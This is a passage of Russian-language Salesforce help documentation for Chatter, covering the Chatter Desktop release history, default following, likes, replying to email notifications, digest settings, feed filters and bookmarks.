• Отображение оптимизированных
значковленты Chatter иперетаскивание
файлов в сообщения

3.0 • Общение как минимум с одним
пользователем организации

• Выбор понравившихся комментариев
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• Просмотрспискапользователей, которымпонравилось
сообщение или комментарий

• Просмотр файлов, вложенных в комментарии

• Просмотр снимков панели мониторинга

• Просмотр общедоступных сообщений

• Исправление разнообразных ошибок, в том числе
усовершенствование ленты посредством новых
компонентов и решение проблемы добавления
@упоминания после #темы

2.1 • Поддержка пользователей-клиентов

• Поддержка личных сообщений Chatter

• Исправление разнообразных ошибок, в том числе
проблемы изменения фокуса всплывающими
уведомлениями

2.0 • Новый пользовательский интерфейс и визуальное
оформление

• Просмотр записей

1.3.3 • Глобальный поиск по @упоминаниям

• Добавление новых экземпляров в окне входа

• Изменениеиавторизацияэкземпляровбезповторного
запуска приложения

• Исправление разнообразных ошибок, в том числе
проблем, связанных с программой установки и
созданием пустых уведомлений

1.3.2 • Промежуточная сборка сцельювнедренияизменений,
внесенных в среду выполнения Adobe AIR. После
установки версии 1.3.2 приложение Chatter Desktop
незамедлительно выполняет дополнительное
обновление.

1.2.1 • Исправление языковых ошибок в датской, финской,
голландской и норвежской версиях приложения

1.2.0 • Сведения о пользователе и группе

• Добавление ссылки «Нравится»

• Добавление @упоминаний, отображаемых в лентах и
содержащих ссылки на профиль упомянутого
пользователя

• Добавление #тем, отображаемыхвлентахисодержащих
ссылки на результаты поиска в обозревателе

3213

Публикация общедоступных обновлений (Chatter)Расширенное сотрудничество



• Автозаполнение для @упоминаний и #тем

• Повышение производительности, в том числе
кэширование изображений

• Развертывание приложения на норвежском языке

• Исправление разнообразных ошибок

1.1.1 • Обновление с целью поддержки сервера
chatter.com

• Исправление незначительных ошибок

1.1.0 • Выбор файлов для предварительного просмотра

• Выбор вкладки «Кому: я» для просмотра сообщений,
предназначенных для текущего пользователя

• Выбор групп и пользователей для просмотра их стен

• Добавлениесообщенийнастеныгруппипользователей

1.0.7 • Исправление ошибки, связанной с загрузкой
фотографий

1.0.6 • Функциональная оптимизация групп и пользователей

• ВыпускуправляемойверсииприложенияChatter Desktop

1.0.5 • Возможность входа в безопасную среду разработчика

• Функциональная оптимизация

• Исправление языковых ошибок в корейской версии
приложения

СМ. ТАКЖЕ:

Установка Chatter Desktop

Люди и записи, отслеживаемые по умолчанию

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Начиная с июня 2010 года, когда сеть Chatter была включена администратором
организации, отслеживание некоторых пользователей и записей выполнялось
автоматически.Пользователи и записи, доступные для автоматического отслеживания,
определяются размерами организации.

Записи для отслеживанияПользователи для
отслеживания

Количество
пользователей

Не более 25 последних записей в
указанном ниже порядке.

Все пользователи
организации

15 пользователей
и менее

1. Собственныеоткрытыевозможности
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Записи для отслеживанияПользователи для отслеживанияКоличество
пользователей

2. Собственные организации

3. Собственные открытые обращения

4. Собственные контакты

5. Открытые возможности, созданные пользователем

6. Организации, созданные пользователем

7. Открытые обращения, созданные пользователем

8. Контакты, созданные пользователем

9. Открытыевозможности, измененныепользователем
последними

10. Организации, измененные пользователем
последними

11. Открытые обращения, измененные пользователем
последними

12. Контакты, измененные пользователем последними

13. Открытые возможности, просмотренные
пользователем

14. Организации, просмотренные пользователем

15. Открытые обращения, просмотренные
пользователем

16. Контакты, просмотренные пользователем

Не более 25 последних записей в указанном ниже
порядке.

Не более 25 пользователей
организации, в том числе (при их
наличии):

16 пользователей и
более

1. Собственные открытые возможности
• Менеджер пользователя 2. Собственные организации
• Пользователи, подчиняющиеся

менеджеру пользователя
3. Собственные открытые обращения

4. Собственные контакты• Подчиненные пользователя
5. Открытые возможности, созданные пользователем• Участники групп, работающих с

организациями 6. Организации, созданные пользователем

• Участники групп, работающих с
возможностями

7. Открытые обращения, созданные пользователем

8. Контакты, созданные пользователем

9. Открытыевозможности, измененныепользователем
последними

10. Организации, измененные пользователем
последними

11. Открытые обращения, измененные пользователем
последними
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Записи для отслеживанияПользователи для отслеживанияКоличество
пользователей

12. Контакты, измененные пользователем последними

13. Открытые возможности, просмотренные
пользователем

14. Организации, просмотренные пользователем

15. Открытые обращения, просмотренные
пользователем

16. Контакты, просмотренные пользователем

Прим.: Автоматическое отслеживание применяется только к тем записям, которые уже существовали на момент
включения сетиChatter. Поумолчаниюавтоматическоеотслеживаниенедоступнодляновых записей, чтопозволяет
сократить количество обновлений, отображаемых в ленте Chatter. Чтобы получать обновления для всех новых
записей, включите функцию автоматического отслеживания на странице личных параметров.

СМ. ТАКЖЕ:

Рекомендации по людям

Рекомендации по записям

Автоматическое отслеживание созданных записей

Выбор понравившихся сообщений и комментариев

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Выберите понравившиеся сообщения или комментарии для получения электронных
уведомлений о добавлении последующих комментариев или просто в знак поддержки.

Щелкните ссылку «Нравится»под соответствующимсообщениемили комментарием.

Принажатииссылки«Нравится»пользовательбудетполучатьэлектронныеуведомления
о добавлении других комментариев для данного сообщения. При нажатии ссылки
«Нравится», доступной в комментарии, электронное уведомление будет отправлено
только опубликовавшему его пользователю, а текущий пользователь будет получать
электронные уведомления о добавлении всех последующих комментариев.При
необходимости параметры электронных уведомлений на странице 3220 могут быть
изменены.

• Если сообщение или комментарий больше не нравится, щелкните ссылку «Не
нравится». Данная ссылка позволяет отменить отправку новых электронных
уведомлений о добавлении комментариев или выборе предпочтений.

• Чтобы просмотреть профиль пользователя, которому понравилось сообщение, щелкните его имя в нижней части
сообщения или комментария, например, «Нравится пользователюИванПетров».

• Если сообщение понравилось как минимум четырем пользователям, щелкните ссылку для просмотра всего списка.
Например, «Нравится мне, пользователюИванПетров и еще 2 другим». Кроме того, данный список позволяет
начать или отменить отслеживание пользователей.
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• Напротивкомментарияотображаетсяколичествопользователей, которымданныйкомментарийпонравился (например,
«1 пользователь» или «7 пользователей»). Чтобы просмотреть их имена, щелкните данную ссылку.

СМ. ТАКЖЕ:

Рекомендации по управлению настройками личной электронной почты в Chatter

Отправка ответов на электронные уведомления Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

При получении определенного электронного уведомления пользователь может
выполнятьнекоторыедействияпутемотправкиответанавходящеесообщениеэл. почты.
Пользователь может отвечать на сообщения эл. почты, типы которых перечислены в
таблице ниже, или любые уведомления, поле «От» которых содержит адрес
reply@chatter.salesforce.com.

Прим.: Отправка ответов на электронные уведомления возможна только после
включения функции отправки электронных ответов в организации.

ОграниченияТекст для
добавления в
ответ

Тип сообщения
эл. почты

Действие

—добавить закладкуПубликация
сообщения в

Добавление
закладки на
сообщение профиль или

группу, упоминание
именипользователя
в сообщении или
совместное
использование
сообщения

Не более 1 000
символов. Ответы,

Текст комментарияПубликация
сообщения,

Комментирование
сообщения

длина которыхкомментирование
превышает 1 000собственного
символов, будут
усечены.

сообщения,
комментирование
собственного
комментария,
упоминание имени
пользователя в
сообщении или
комментарии

—отслеживатьПубликация
сообщения,

Отслеживание
пользователя

комментирование
собственного
сообщения,
комментирование
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ОграниченияТекст для добавления в
ответ

Тип сообщения эл. почтыДействие

собственного комментария,
упоминание имени
пользователя в сообщении
или комментарии

—нравится или +1Комментирование
собственного сообщения
или комментария

Выбор понравившегося
комментария

—нравится или +1Публикация сообщения в
профиль или группу,

Выбор понравившегося
сообщения

упоминание имени
пользователя в сообщении
или совместное
использование сообщения

—Отмена уведомленийВсе электронные
уведомления о сообщениях

Отключить уведомления

и комментариях, связанных
с исходным сообщением, о
котором вы больше не
хотите получать
уведомления

Не более 10 000 символов.
Ответы, длина которых

Текст ответаОтправка сообщенияОтправка ответа на
сообщение Chatter

превышает 10 000 символов,
будут усечены.

—отменить отслеживаниеПубликация сообщения,
комментирование

Отмена отслеживания
пользователя

собственного сообщения,
комментирование
собственного комментария,
упоминание имени
пользователя в сообщении
или комментарии

—не нравится или -1Публикация сообщения,
комментирование

Отмена выбора
понравившегосясообщения

собственного сообщения
или комментирование
собственного комментария
к сообщению, выбранному
ранее в качестве
понравившегося

Ниже перечислены рекомендации по отправке электронных ответов.
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• Дляотправкиответов следует использовать адрес эл. почты, указанныйвпрофиле. Прииспользованиипсевдонимов
эл. почты или служб переадресации эл. почты, отправляющих ответы посредством другого адреса эл. почты, ответы
не обрабатываются.

• Ответы на уведомления о добавлении закладок, отмене уведомлений, выборе или отмене выбора предпочтений,
начале или отмене отслеживания должны содержать только одно слово или точный текст (например, нравится или
+1). Пробелы или исходный текст, добавляемые автоматически некоторыми почтовыми приложениями в ответные
сообщения, пропускаются, а сами ответы обрабатываются как предпочтения, закладки и т. д. Ответы, содержащие
любой другой текст (например, «Нравится!» или «Нравится?»), обрабатываются как обычные комментарии.

• Если ответ содержит электронную подпись пользователя, то эта подпись рассматривается системой как часть
комментария. Стандартныеподписи, добавляемыеприиспользованиимобильныхустройств, например, Sent from
my iPhone  («Отправлено с устройства iPhone»), автоматически удаляются из всех ответов. Прежде чем отправить
ответ, удалите подписи пользователей и любой другой текст, который не должен быть опубликован в Chatter. Либо
добавьте разделяющую линию над подписью, чтобы удалить ее. Разделяющая линия должна включать в себя как
минимум один из следующих символов:

– тире (-);

– знак равенства (=);

– подчеркивание (_).

Также можно использовать любые сочетания этих символов.

• Вложения и упоминания, добавленные в ответы, пропускаются.

• Прежде чем отправить ответ, проверьте адрес эл. почты, который отображается в поле «Кому». Действительные
адреса содержат маркеры или длинные символьные строки (до и после символа @), например,
w8t27apy1@j321imd9gbs.d8rx.d.chatter.na1.salesforce.com. Некоторые почтовые приложения
автоматически используют адрес из поля «От» исходного сообщения эл. почты
(reply@chatter.salesforce.com), который не предназначается для получения ответов. Если поле «Кому»
ответного сообщения содержит этот укороченный адрес, то он должен быть заменен на действительный адрес.
Например, при использовании приложения IBM® Lotus Notes® выполните указанные ниже действия.

1. Откройте исходное сообщение эл. почты.

2. Последовательно выберите пункты View > Show > Page Source.

3. В разделе Reply-To  («Ответить на») скопируйте адрес эл. почты, который примерно выглядит следующим
образом: w8t27apy1@j321imd9gbs.d8rx.d.chatter.na1.salesforce.com.

4. Вставьте этот адрес в поле «Кому» ответного сообщения.

СМ. ТАКЖЕ:

Выбор понравившихся сообщений и комментариев
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Переход к параметрам эл. почты Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Чтобы изменить настройки уведомлений и рассылок, воспользуйтесь параметрами
электронной почты Chatter.

• На странице личных параметров введите строку «Chatter» в поле «Быстрый
поиск» и выберите «Параметры эл. почты Chatter» или «Электронные
уведомления» в зависимости от того, какой заголовок будет выведен.

• Иливыберитепараметр«Уведомлятьменяпоэл. почте...» > Параметрыэл. почты
на странице любой группы.

Получение электронных уведомлений и рассылок Chatter доступно только после
включенияэлектронныхуведомленийадминистратороморганизации. Чтобыполучать
сообщения электронной почты Chatter, установите флажок «Принимать сообщения
эл. почты».

Внимание: Снимите этот флажок для отмены любых электронных уведомлений Chatter.

СМ. ТАКЖЕ:

Электронные рассылки Chatter

Рекомендации по управлению настройками личной электронной почты в Chatter

Индивидуальная настройка системы Salesforce

Электронные рассылки Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Благодаря электронным рассылкам, позволяющим просматривать недавние действия
Chatter, пользователи могут всегда оставаться в курсе важных событий. Получайте
ежедневные или еженедельные сводки об обновлениях в личной или групповой ленте.

ИндивидуальныерассылкисодержатобновленияизсобственнойлентыChatter (например,
обновленияолюдях, файлахизаписях, отслеживаемыхсамимпользователемигруппами
с его участием). Групповые рассылки содержат обновления из ленты Chatter отдельной
группы.

Ежедневные рассылки содержат последние 50 сообщений за предыдущий день, тогда
как еженедельные — последние 50 сообщений за неделю. Обе рассылки содержат
последние три комментария для каждого сообщения. Chatter отправляет ежедневные
рассылки каждый день в полночь, а еженедельные — каждое воскресенье в полночь.
Индивидуальныерассылкиотправляютсяпоместномувременипользователя. Групповые
рассылки отправляются по местному времени организации. Настройка времени не поддерживается.

Пользователь, присоединившийся или добавленный в группу, изначально не получает электронные уведомления, так
как их отправка отключена по умолчанию. Воспользуйтесь параметром «Задать частоту по умолчанию для групп с
моим участием:», чтобы определить частоту отправки электронных уведомлений о добавлении в новые группы.
Изменение стандартнойчастотыне влияетна группы, участникомкоторыхтекущийпользователь уже является.Обратите
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внимание, чтоорганизации, созданныедо выпуска Summer'11 ииспользующиеверсию Professional Edition, Enterprise Edition,
Unlimited Edition или Developer Edition, могут по-прежнему получать ежедневные рассылки по умолчанию.

СМ. ТАКЖЕ:

Переход к параметрам эл. почты Chatter

Рекомендации по управлению настройками личной электронной почты в Chatter

Рекомендации по управлению настройками личной электронной почты в Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Пользователи могут контролировать количество получаемых сообщений эл. почты
Chatterпутемвыборанаиболееважныхсообщенийэл. почтыисоответствующейчастоты
личных и групповых рассылок.

«Уведомлять меня по эл. почте, если кто-то:»

Данный раздел позволяет настраивать личные параметры эл. почты. Благодаря данным
параметрам, пользователимогутотслеживать важные событиябезполучениябольшого
количества сообщений эл. почты.

Рекомендации и примечанияВажныйПараметр

Чтобы начать отслеживание нового
отслеживающего, щелкните ссылку в
сообщении эл. почты.

Отслеживает мой профиль

Данный параметр позволяет получать
уведомленияопубликациивопросовили
сведений в профиле пользователя.

Добавляет сообщения в мой
профиль

Публикует мое сообщение

Отдает предпочтение
добавленному мною
сообщению или комментарию

Данный параметр позволяет получать
уведомления о последующих
обсуждениях.

Комментирует мой статус или
сделанное мною изменение

Комментирует сообщение в
моем профиле

Данный параметр позволяет получать
уведомления о публикации не более 10

Комментирует мой
комментарий

последующих комментариев к
прокомментированному элементу.
Последующее комментирование
сообщенияобнуляеттекущееколичество
и позволяет получать уведомления
максимум о 10 других новых
комментариях.
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Рекомендации и примечанияВажныйПараметр

Данный параметр позволяет получать уведомления о
публикации комментариев к важным элементам,

Комментирует элемент, отмеченный
закладкой

отмеченным закладками. Важность данного параметра
снижается при отслеживании элементов посредством
предпочтений.

Данный параметр позволяет получать уведомления о
публикации не более 10 последующих комментариев к
понравившемуся элементу.

Комментирует понравившийся мне
элемент

Данный параметр позволяет получать уведомления о
публикацииупоминаний, используемыхдляпривлечения
внимания пользователя.

Упоминает меня в сообщении

Данный параметр позволяет получать уведомления о
публикацииупоминаний, используемыхдляпривлечения
внимания пользователя.

Упоминает меня в комментарии

Пользователь, установившийфлажок «Отправляет мне
сообщение», получаетэлектронныеуведомленияоновых

Отправляет мне сообщение

личных сообщениях Chatter, включая уведомления о
файлах, доступных для совместного использования.

Подтверждает меня в теме

«Задать частоту индивидуальной электронной рассылки:»

Рекомендации и примечанияРекомендуемыйПараметр

Ежедневные рассылки содержат последние
50 сообщений за предыдущий день и последние три
комментария для каждого сообщения.

Ежедневно

Еженедельные рассылки содержат последние
50 сообщений за неделю и последние три комментария
для каждого сообщения.

Еженедельно

Индивидуальные рассылки не отправляются.Никогда

Сообщества не поддерживают индивидуальные рассылки.

«Задать частоту по умолчанию для групп с моим участием:»

Изменение стандартной частоты для новых групп не влияет на группы, участником которых текущий пользователь уже
является.
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Рекомендации и примечанияРекомендуемыйПараметр

При использовании сообществ параметр «Уведомлять
о каждом сообщении» отключается, как только

Уведомлять о каждом сообщении

численность группыпревышает 10 000 участников. Всем
участникам, выбравшимданныйпараметр, автоматически
назначается параметр «Ежедневные рассылки».

Ежедневные рассылки содержат последние 50
сообщений за предыдущий день и последние три
комментария для каждого сообщения.

Ежедневные рассылки

Еженедельные рассылки содержат последние 50
сообщенийзанеделюипоследниетрикомментариядля
каждого сообщения.

Еженедельные рассылки

Данныйпараметрдолжениспользоватьсяпоумолчанию
для всех новых групп. При присоединении к группе,

Никогда

отличающейся повышенной активностью (например,
группа, созданная для работы над важным проектом),
пользователь может изменить частоту отправки
уведомлений только для данной группы.

СМ. ТАКЖЕ:

Электронные рассылки Chatter

Переход к параметрам эл. почты Chatter

Что понимается под терминами «компания» и «организация» в Chatter?

Организация — этоотдельныйэкземпляр Salesforce с определеннымнаборомлицензированныхпользователей, которым
предоставляется или не предоставляется доступ в Chatter. Термины «компания» и «организация», используемые в Chatter,
взаимозаменяемы. Таким образом, фраза «опубликовать файл для всех пользователей Chatter в компании» означает, что
доступ к файлу предоставляется всем пользователям конкретной организации Salesforce, в которой используется сеть
Chatter.

СМ. ТАКЖЕ:

Общие сведения о Chatter

Можно ли пригласить сотрудников компании, не имеющих лицензий Salesforce?

Если такая возможность включена администратором, то пользователи могут приглашать других сотрудников своей
компании. Приглашенныепользователимогутпросматриватьпрофили, публиковатьсообщениялентыиприсоединяться
к группам, но не могут просматривать данные или записи Salesforce, принадлежащие отправителю приглашения.

Чтобы пригласить пользователя, воспользуйтесь вкладкой «Люди». Также пользователи могут быть приглашены при
добавлении участников в группу.

Кроме того, клиенты могут быть добавлены в личные собственные или управляемые группы.
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Работа с лентами

Общие сведения о лентах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Ленты Chatter содержат собственные сообщения и комментарии, сообщения и
комментарии других пользователей, а также обновления для записей, опубликованные
в организации Salesforce.

Приотслеживании людей и записей обновления отображаются в лентах Chatter. Ленты
Chatter отображаются в профилях, группах, на вкладке «Начальная страница», на
страницах сведенийо темах и на страницах сведенийо записях. Обычно отображаются
обновления для перечисленных ниже компонентов.

• Комментарии и сообщения в ленте Chatter

• Сообщения, комментарии и файлы в группах Chatter, участником которых является
пользователь

• Общедоступные файлы и ссылки

• Задачи и события

• Преобразованные интересы

• Изменения полей записи (например, изменение ответственного, закрытых возможностей и обращений).

Обновления записи также называются системными сообщениями. Это обновления, создаваемые автоматически
системой Salesforceприсозданиизаписиилиизмененииотслеживаемогополя записи. Доступныеобновления записи
определяются настройками функции отслеживания, заданными администратором, и доступностью самой записи.
Система не позволяет просматривать отслеживаемые обновления ленты, которые были опубликованыболее 45 дней
назад и не содержат комментариев или предпочтений, ввиду их автоматического удаления.

СМ. ТАКЖЕ:

Публикация сообщения Chatter

Просмотр отдельной ленты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Чтобы просмотреть отдельный набор сообщений, измените ленту Chatter.

По умолчанию при открытии страницы Chatter отображается лента «Отслеживаемые».
Чтобыпросмотретьнаборсообщенийвсобственнойленте, выберитесоответствующий
фильтр на левой боковой панели страницы Chatter. Например, просмотрите только
сообщения, содержащие упоминания собственного имени, только сообщения,
добавленные в закладки, или все сообщения компании.

1. Чтобы просмотреть доступные ленты, щелкните ссылку «Лента».

2. Чтобы просмотреть связанный набор сообщений в ленте, выберите нужную ленту.

Отслеживаемые
Отображениеобновленийдля всехотслеживаемыхзаписей, включая сообщения
от отслеживаемых пользователей, группы со своим участием, а также
отслеживаемые файлы и записи. Чтобы уточнить набор сообщений, воспользуйтесь раскрывающимся списком
вверху ленты.

Мне
Отображение сообщений, опубликованных на странице профиля, включая:
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• Сообщения, опубликованные другими пользователями на странице профиля

• Сообщения и комментарии, содержащие упоминания собственного имени

• Опубликованные сообщения, содержащие комментарии

Добавленные в закладки
Отображение сообщений ленты, добавленных в закладки.

Вся компания
Отображение сообщений и комментариев, доступных для компании, включая сообщения и комментарии от:

• Люди компании

• Общедоступные группы

• Личные группы со своим участием

• Отслеживаемыеизменениядля записейиполей, а такжесистемныесообщенияокомментированиииливыборе
сообщения в качестве понравившегося. Сообщение может быть просмотрено только при наличии доступа к
записи.

СМ. ТАКЖЕ:

Фильтрация списка файлов

Фильтрация и сортировка лент

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Рекомендуемиспользоватьпараметрыфильтрацииисортировкидляпросмотраважных
обновлений.

Фильтрацияисортировкалентыпозволяютпросматриватьотдельныйнаборсообщений
вместо всех сообщений ленты.

Фильтрация ленты
Чтобысократитьколичествосообщений, отображающихсявленте, воспользуйтесь
фильтрами.

Сортировка ленты
Сортировка позволяет просматривать последние опубликованные или
прокомментированные сообщения ленты.

Доступные фильтры ленты
Доступные фильтры определяются настройками системы Salesforce, заданными администратором, и типом
просматриваемой ленты. Некоторые фильтры поддерживаются только некоторыми лентами.
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Фильтрация ленты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Чтобы сократить количество сообщений, отображающихся в ленте, воспользуйтесь
фильтрами.

Отображаемые фильтры определяются настройками системы Salesforce, заданными
администратором. Фильтрация ленты поддерживается страницей Chatter, профилем
пользователя, страницами групп, страницами сведений о записях и страницами
результатовпоиска. Некоторыефильтрыподдерживаются тольконекоторымилентами.

• Щелкните значок напротивпараметра «Показать» надлентойивыберитенужный
фильтр.

Все обновления (по умолчанию)
Отображение всех сообщений и комментариев для отслеживаемых людей и
записей, сообщений для групп со своим участием и всех системных сообщений.

Меньше обновлений

– Отображение всех сообщений и комментариев для отслеживаемых людей и записей, а также групп со своим
участием.

– Сокрытие системных сообщений для записей, которые не содержат комментариев.

Люди
Отображение сообщений и комментариев для отслеживаемых людей.

Группы
Отображение сообщений для групп со своим участием.

Файлы
Отображение сообщений, содержащих:

– Отслеживаемые файлы

– Сообщения-файлы, прокомментированные отслеживаемым пользователем

Пример: Чтобы скрыть системные сообщения, воспользуйтесь фильтром «Меньше обновлений». Например,
пользователь отслеживает организацию Acme. Менеджерпоработе с клиентами Acme создает возможность, а затем
изменяет отслеживаемое поле организации Acme. В обоих случаях система Salesforce автоматически создает
обновлениедля каждогоизмененияипубликуетданныеобновлениявлентуChatterпользователяилентуна странице
сведений об организации Acme. Фильтр «Меньше обновлений» скрывает системные сообщения ленты, которые не
содержат комментариев. Чтобы просмотреть системные сообщения, выберите фильтр «Все обновления».

СМ. ТАКЖЕ:

Доступные фильтры ленты

3226

Публикация общедоступных обновлений (Chatter)Расширенное сотрудничество



Сортировка ленты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Сортировка позволяет просматривать последние опубликованные или
прокомментированные сообщения ленты.

1. Щелкните значок напротив параметра «Показать» над лентой.

2. Чтобы просмотреть последние опубликованные сообщения ленты, выберите
критерий сортировки «Дата публикации». Чтобы просмотреть последние
прокомментированныесообщенияленты, включаяопросысновымикомментариями,
выберите критерий сортировки «Последнее действие».

Поумолчаниюсообщениялентысортируютсяпо критерию «Последнее действие».
Переключениемеждукритериями «Датапубликации» и «Последнеедействие» может
выполняться в любое время.

Пример: Например, системапозволяетнетолькоотслеживатьбольшоеколичество
людей и записей, но также добавлять важные сообщения в закладки,
предоставляющиебыстрыйдоступклюбымсоответствующимобновлениямленты.
Чтобы просмотреть все сообщения, добавленные в закладки, щелкните фильтр
«Добавленные в закладки». Затем выберите критерий сортировки «Последнее
действие». Сообщения отображаются в порядке публикации недавних
комментариев; первымотображаетсясообщение, прокомментированноепоследним.

СМ. ТАКЖЕ:

Фильтрация ленты

Доступные фильтры ленты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Доступные фильтры определяются настройками системы Salesforce, заданными
администратором, и типом просматриваемой ленты. Некоторые фильтры
поддерживаются только некоторыми лентами.

Доступные фильтрыЛента

Отслеживаемые • Все обновления

• Меньше обновлений

• Люди

• Группы

• Файлы

• Последнеедействие/Датапубликации
(параметр «Сортировать по»)

Мне • Последнеедействие/Датапубликации
(параметр «Сортировать по»)

Добавленные в закладки • Последнеедействие/Датапубликации
(параметр «Сортировать по»)
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Доступные фильтрыЛента

Вся компания • Последнее действие/Дата публикации (параметр
«Сортировать по»)

Группа • Все обновления

• Меньше обновлений

• Последнее действие/Дата публикации (параметр
«Сортировать по»)

Профиль • Последнее действие/Дата публикации (параметр
«Сортировать по»)

Запись • Все обновления

• Только для внутреннего пользования

(Данныйфильтр возвращает только сообщения для
внутренней организации и доступен только в
сообществах Salesforce.)

• Меньше обновлений

• Последнее действие/Дата публикации (параметр
«Сортировать по»)

Поиск • Все обновления

• Меньше обновлений

• Люди

• Группы

• Файлы

• Последнее действие/Дата публикации (параметр
«Сортировать по»)

СМ. ТАКЖЕ:

Фильтрация ленты

Сортировка ленты
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Ленты. Вопросы и ответы

Обновления для личных групп отображаются в моей ленте профиля. Кто еще может просматривать эти
обновления?

Обновления для личной группы доступны только участникам этой группы (даже в ленте профиля пользователя).

СМ. ТАКЖЕ:

Доступность сообщений

Можно ли просмотреть список отслеживаемых пользователей и записей?

Чтобы просмотреть список отслеживаемых пользователей и записей, воспользуйтесь списком «Отслеживаемые» в
собственном профиле, который позволяет отфильтровать отображаемые результаты по пользователю или по типу
объекта. Такжевпрофиледоступенсписок «Отслеживающие», в которомуказанытепользователи, которыеотслеживают
ваши действия.

СМ. ТАКЖЕ:

Общие сведения о профиле Chatter

Почему в моей ленте Chatter отображаются только определенные пользователи и записи?

В ленте отображаются обновления только для отслеживаемых пользователей и записей. При увеличении числа
отслеживаемых пользователей и записей также увеличивается количество обновлений в ленте Chatter на вкладках
«Начальная страница» и Chatter. Чтобы просмотреть список пользователей, доступных для отслеживания или отмены
отслеживания, щелкните ссылку «Люди» на вкладке Chatter.

СМ. ТАКЖЕ:

Люди и записи, отслеживаемые по умолчанию

Добавление закладок на сообщения

Общие сведения о закладках

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Закладкипозволяютпользователямотслеживатьинтересующиеихотдельныесообщения.

Лента «Добавленныевзакладки»налевойбоковойпанелипозволяетбыстронаходить
сообщения ленты, добавленные в закладки. Лента «Добавленные в закладки»
отображается только при наличии сообщений, добавленных в закладки.

Вслучаепубликациикомментарияксообщению, добавленномув закладки, пользователь
получает электронное уведомление. Электронные уведомления для закладок включены
по умолчанию. При необходимости измените электронные уведомления на странице
3220.

Закладкиносятличныйхарактер, поэтомусообщения, добавленныев закладки, немогут
бытьпросмотреныдругимипользователями. Количествозакладокнеограничено. Чтобы
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отменить отслеживание сохраненного сообщения, просто удалите соответствующую закладку. В этом случае удаленное
сообщение больше не отображается при выборе ссылки «Добавленные в закладки».

СМ. ТАКЖЕ:

Выбор понравившихся сообщений и комментариев

Просмотр отдельной ленты

Рекомендации по управлению настройками личной электронной почты в Chatter

Добавление закладки на сообщение

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Пользователи могут отслеживать интересующие их сообщения и просматривать
сохраненные сообщения в ленте «Добавленные в закладки».

1. Чтобыоткрыть раскрывающееся меню, щелкните стрелку в верхнемправом углу
нужного сообщения.

2. Щелкните «Добавить закладку».
Значок закладки ( ), отображаемыйнапротив сообщения, указываетна успешность
его сохранения в закладках.

Чтобыпросмотретьсохраненныесообщениявленте, последовательновыберитессылки
«Лента» > «Добавленные в закладки» на боковой панели Chatter.

Количество закладок не ограничено. Пользователи могут добавлять столько закладок,
сколько им требуется.

СМ. ТАКЖЕ:

Выбор понравившихся сообщений и комментариев

Удаление закладки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

1. Чтобы просмотреть сохраненные сообщения в ленте Chatter, последовательно
выберите ссылки «Лента» > «Добавленные в закладки» на боковой панели.

2. Найдите сохраненное сообщение в ленте Chatter.

3. Чтобыоткрыть раскрывающееся меню, щелкните стрелку в верхнемправом углу
нужного сообщения.

4. Щелкните «Удалить закладку».

Сообщение, удаленноеиз закладок, большенеотображается в сохраненныхсообщениях
при выборе ссылки «Добавленные в закладки».
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Создание задачи из сообщения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Иногдапользователямтребуетсяотслеживаниесообщений. Чтобысоздать задачупрямо
из сообщения, воспользуйтесь действием «Создать задачу».

Пользователи могут создавать задачи из любых сообщений, опубликованных в
организации, включаясообщениясвложениями. Пользователинемогутсоздавать задачи
из системных сообщений (например, обновление записи).

1. Щелкните значок в сообщении.

2. Выберите пункт «Создать задачу».

Действие «Создать задачу» отображается только после его включения
администратором Salesforce.

3. Добавьте тему и крайний срок в диалоговом окне «Создать задачу». При
необходимости свяжите задачу с контактом или интересом и нужным объектом (например, организация). Чтобы
найти доступные контакты, интересы и объекты, воспользуйтесь полями поиска.

4. По завершении нажмите кнопку «Создать».

Задача назначается текущему пользователю и публикуется в ленте профиля. Кроме того, задача отображается в разделе
«Мои задачи» вкладки «Начальная страница».

Чтобы открыть задачу, щелкните ссылку на тему задачи (1 или 2). Чтобы просмотреть сообщение, использованное для
создания задачи, щелкните ссылку на сообщение (3).

